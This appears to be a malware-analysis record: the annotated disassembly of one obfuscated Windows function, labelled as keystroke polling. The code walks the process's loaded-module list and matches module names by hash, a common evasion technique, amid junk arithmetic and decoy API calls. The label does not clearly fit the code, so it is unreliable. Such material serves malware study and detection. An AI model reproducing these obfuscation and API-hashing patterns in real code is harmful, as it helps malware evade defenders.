Function at 0x2f8aa818b
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov eax, dword [0x2f8ab40c8]
or ax, 0x58d5
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40d2]
imul ax, ax, 0xfb06
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
and eax, 0xe4ea8992
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40d2]
add ax, 0x5266
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
and eax, 0x4f84f258
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c0]
and ax, 0x6af0
mov word [0x2f8ab40d2], ax
mov dword [rbp + 0xdc], 0x2249
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
imul ax, ax, 0x1e7e
mov word [0x2f8ab40c4], ax
mov ecx, 0x5f
mov rax, qword [sym.imp.USER32.dll_GetSysColorBrush]
call rax
movzx eax, word [0x2f8ab40c4]
imul ax, ax, 0x6a23
mov word [0x2f8ab40c4], ax
cmp dword [rbp + 0xf0], 0
jne 0x2f8aa82a1
mov eax, dword [0x2f8ab40cc]
mov edx, eax
mov eax, edx
shl eax, 5
sub eax, edx
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
xor ax, 0x47e9
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
xor eax, 0x1e7b547c
mov dword [0x2f8ab40cc], eax
mov eax, 0
jmp 0x2f8aa8ec4
mov eax, dword [0x2f8ab40cc]
xor eax, 0xafca94b7
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
and eax, 0x25cfee90
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
add eax, 0x6ac621b0
mov dword [0x2f8ab40cc], eax
mov eax, dword [0x2f8ab40c8]
xor eax, 0x10f04caa
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
and ax, 0xce3d
mov word [0x2f8ab40d2], ax
mov dword [rbp + 0xb4], 0x60
mov eax, dword [rbp + 0xb4]
mov rax, qword gs:[rax]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xc0], rax
movzx eax, word [0x2f8ab40d2]
and ax, 0x29a1
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c0]
add eax, 0x6d9dad43
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c0]
and ax, 0x3219
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40cc]
imul ax, ax, 0x8b9f
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c8]
add ax, 0x355
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c8]
sub eax, 0x5a
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
or eax, 0x837d9edc
mov dword [0x2f8ab40c8], eax
add dword [rbp + 0xdc], 1
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
and eax, 0xae3df312
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c8]
sub eax, 0x53d0cb37
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c0]
xor eax, 0xfffffff4
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c8]
or ax, 0x9952
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40d2]
xor eax, 0xffffff8a
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
and eax, 0xd4959a40
mov dword [0x2f8ab40cc], eax
mov eax, dword [0x2f8ab40c0]
add ax, 0x71fd
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c8]
and eax, 0xbff017cc
mov dword [0x2f8ab40c0], eax
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xb8], rax
mov eax, dword [0x2f8ab40cc]
mov edx, 0x4a
imul eax, edx
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40d2]
or ax, 0xf478
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c0]
sub eax, 0x3a87fe0d
mov dword [0x2f8ab40c0], eax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab40c8]
xor eax, 0x10
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
imul eax, eax, 0x7b713c1b
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c0]
or eax, 0xf349a0ed
mov dword [0x2f8ab40cc], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
or eax, 0x80f8b090
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40c4]
or ax, 0x8f68
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c0]
add eax, 0x4d
mov byte [0x2f8ab40d0], al
mov rax, qword [rbp + 0xb8]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0xd0], rax
mov eax, dword [0x2f8ab40c0]
add eax, 0x67
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
imul eax, eax, 0xf91f1e8
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40cc]
and eax, 0x87e09a25
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c8]
or eax, 0xdb4efdfd
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40cc]
xor eax, 0x60
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
imul eax, eax, 0x74c49e3f
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
imul eax, eax, 0x66c08aa2
mov dword [0x2f8ab40cc], eax
add dword [rbp + 0xdc], 1
movzx eax, byte [0x2f8ab40d0]
sub eax, 0x27
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
add eax, 0x2fd307b8
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c0]
add eax, 0x7c615fd7
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
add eax, 0x52074add
mov dword [0x2f8ab40cc], eax
mov eax, dword [0x2f8ab40c0]
add ax, 0x349d
mov word [0x2f8ab40d2], ax
jmp 0x2f8aa8eb1
mov eax, dword [0x2f8ab40c0]
xor eax, 0xf5f482c7
mov dword [0x2f8ab40c8], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub eax, 0x17f2899b
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
add eax, 0x45050b28
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c8]
or eax, 0x50799d2f
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40d2]
sub ax, 0x6596
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
imul eax, eax, 0x85ad9d6d
mov dword [0x2f8ab40c8], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
imul eax, eax, 0x4bf16055
mov dword [0x2f8ab40c0], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub eax, 0x52f03316
mov dword [0x2f8ab40cc], eax
mov eax, dword [0x2f8ab40c8]
xor eax, 0x67
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
sub eax, 0x4cd0fb59
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c8]
or ax, 0x4168
mov word [0x2f8ab40c4], ax
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
test rax, rax
je 0x2f8aa8e21
mov eax, dword [0x2f8ab40cc]
or ax, 0x379c
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
and ax, 0xd9fc
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c0]
xor eax, 0xffffffb0
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40d2]
mov edx, 0xffffff97
imul eax, edx
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c8]
xor ax, 0x7152
mov word [0x2f8ab40d2], ax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
xor ax, 0xe775
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
and eax, 0x388ce1f6
mov dword [0x2f8ab40c0], eax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab40cc]
add eax, 0x7d5bddb0
mov dword [0x2f8ab40c0], eax
mov ecx, 0xdf
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
mov eax, dword [0x2f8ab40c8]
xor eax, 0xffffff84
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
and ax, 0x3796
mov word [0x2f8ab40d2], ax
mov rax, qword [rbp + 0xd0]
movzx eax, word [rax + 0x48]
cmp ax, 0x102
ja 0x2f8aa8ea0
mov eax, dword [0x2f8ab40c8]
mov edx, eax
mov eax, edx
shl eax, 4
sub eax, edx
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c8]
add eax, 0x5721ad46
mov dword [0x2f8ab40c8], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
add eax, 0x285792bb
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
imul eax, eax, 0x8103f6d0
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
or ax, 0x5ce3
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
imul eax, eax, 0x9b0033c7
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c8]
sub eax, 0x24
mov byte [0x2f8ab40d0], al
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
and eax, 0xffe32a50
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40cc]
add eax, 0x219b3a0b
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c8]
imul ax, ax, 0xfd7c
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40cc]
add eax, 0x2e8b1e
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
or eax, 0xf497060a
mov dword [0x2f8ab40cc], eax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab40c0]
sub eax, 0x3b99d380
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
and eax, 0xbf40b143
mov dword [0x2f8ab40c0], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
or eax, 0xae79b425
mov dword [0x2f8ab40c0], eax
lea rax, [rbp - 0x60]
mov edx, 0x104
mov rcx, rax
call fcn.2f8aa94f4
mov eax, dword [0x2f8ab40c0]
or eax, 0x722ab4bf
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c8]
xor eax, 0x29bdc714
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
or eax, 0xfc201081
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c0]
add ax, 0x5546
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
add eax, 0x3c72b54b
mov dword [0x2f8ab40c0], eax
mov dword [rbp + 0xcc], 0
movzx eax, word [0x2f8ab40c4]
sub ax, 0x1e56
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
sub ax, 0x56bf
mov word [0x2f8ab40d2], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov eax, dword [0x2f8ab40cc]
add eax, 0x4adc33bd
mov dword [0x2f8ab40c0], eax
jmp 0x2f8aa8b8d
mov eax, dword [0x2f8ab40cc]
and eax, 0x66
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
or eax, 0x38530e75
mov dword [0x2f8ab40cc], eax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub eax, 0x680e240c
mov dword [0x2f8ab40cc], eax
movzx eax, word [0x2f8ab40d2]
xor ax, 0x3562
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c8]
sub ax, 0x6ef5
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
or eax, 0xffffffae
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
sub eax, 0x300f8277
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c0]
imul eax, eax, 0xe91a9a81
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40cc]
and eax, 0x1f
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40cc]
imul eax, eax, 0x940c193c
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40cc]
and eax, 0xffffffdb
mov byte [0x2f8ab40d0], al
add dword [rbp + 0xdc], 1
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub ax, 0x46c0
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
or eax, 0xfffffff5
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
and eax, 0xd6830ab4
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40cc]
add eax, 0x612bfb55
mov dword [0x2f8ab40cc], eax
mov eax, dword [0x2f8ab40c8]
xor ax, 0x7068
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
imul eax, eax, 0x7d7efafc
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40c4]
or ax, 0xb837
mov word [0x2f8ab40c4], ax
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
mov edx, dword [rbp + 0xcc]
add rdx, rdx
add rax, rdx
movzx eax, word [rax]
movsx eax, al
mov ecx, eax
call fcn.2f8aa6279
mov edx, dword [rbp + 0xcc]
mov byte [rbp + rdx - 0x60], al
movzx eax, word [0x2f8ab40c4]
and eax, 0xffffffb7
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40cc]
and ax, 0x116
mov word [0x2f8ab40c4], ax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub eax, 0x6846b0c7
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40c4]
and ax, 0xed2
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40d2]
or eax, 0xffffff94
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
add ax, 0x5dcb
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40cc]
imul ax, ax, 0x4bcf
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40cc]
or ax, 0xc45e
mov word [0x2f8ab40c4], ax
add dword [rbp + 0xcc], 1
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
mov edx, dword [rbp + 0xcc]
add rdx, rdx
add rax, rdx
movzx eax, word [rax]
test ax, ax
je 0x2f8aa8bbc
cmp dword [rbp + 0xcc], 0x102
jbe 0x2f8aa898b
movzx eax, word [0x2f8ab40d2]
imul ax, ax, 0xa5f3
mov word [0x2f8ab40d2], ax
movzx eax, byte [0x2f8ab40d0]
sub eax, 0x40
mov byte [0x2f8ab40d0], al
movzx edx, byte [0x2f8ab40d0]
mov eax, edx
shl eax, 6
sub eax, edx
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
xor ax, 0xe49
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
or eax, 0xca274b04
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
sub eax, 0x2653b966
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c0]
or eax, 0xfa083e20
mov dword [0x2f8ab40c8], eax
mov eax, dword [rbp + 0xcc]
mov byte [rbp + rax - 0x60], 0
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
or eax, 0x389a0676
mov dword [0x2f8ab40c8], eax
mov eax, dword [0x2f8ab40c0]
mov edx, 0xffffff85
imul eax, edx
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c0]
or eax, 0xf0b87404
mov dword [0x2f8ab40c0], eax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab40cc]
sub ax, 0x617f
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
or ax, 0x3f6e
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
imul eax, eax, 0xa6985e82
mov dword [0x2f8ab40c8], eax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.2f8aaccdd
cmp dword [rbp + 0xf0], eax
sete al
test al, al
je 0x2f8aa8ea0
movzx eax, word [0x2f8ab40c4]
xor ax, 0x6a1
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c0]
or ax, 0xf4d
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
or eax, 0xd5fdc180
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40c4]
add ax, 0x6b8a
mov word [0x2f8ab40c4], ax
mov edx, 0
mov ecx, 0x16
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
imul eax, eax, 0xc74dde57
mov dword [0x2f8ab40c8], eax
movzx eax, word [0x2f8ab40c4]
sub ax, 0x332b
mov word [0x2f8ab40d2], ax
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
sub ax, 0x53e0
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40c4]
movzx eax, ax
sub eax, 0x51245696
mov dword [0x2f8ab40cc], eax
movzx eax, byte [0x2f8ab40d0]
sub eax, 0x57
mov byte [0x2f8ab40d0], al
mov eax, dword [0x2f8ab40c8]
imul ax, ax, 0xe233
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
sub ax, 0x311e
mov word [0x2f8ab40d2], ax
movzx eax, word [0x2f8ab40c4]
and eax, 0xffffff8f
mov byte [0x2f8ab40d0], al
movzx eax, byte [0x2f8ab40d0]
movzx eax, al
and eax, 0xa54a523c
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
sub eax, 0x2d6f5dd1
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c8]
sub eax, 0xcc4e222
mov dword [0x2f8ab40c8], eax
add dword [rbp + 0xdc], 1
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x20]
jmp 0x2f8aa8ec4
mov eax, dword [0x2f8ab40c8]
and eax, 0xee3a307b
mov dword [0x2f8ab40c0], eax
movzx eax, word [0x2f8ab40d2]
and ax, 0xdeb5
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40cc]
add ax, 0x6386
mov word [0x2f8ab40c4], ax
mov eax, dword [0x2f8ab40c0]
xor ax, 0x4fb2
mov word [0x2f8ab40d2], ax
mov eax, dword [0x2f8ab40c8]
imul eax, eax, 0x49c90f0f
mov dword [0x2f8ab40c0], eax
mov eax, dword [0x2f8ab40c0]
sub ax, 0x2786
mov word [0x2f8ab40c4], ax
movzx eax, word [0x2f8ab40d2]
movzx eax, ax
and eax, 0xcc58dcfc
mov dword [0x2f8ab40cc], eax
jmp 0x2f8aa8ebf
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax]
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x2f8aa85e7
mov eax, 0
add rsp, 0x160
pop rbp
ret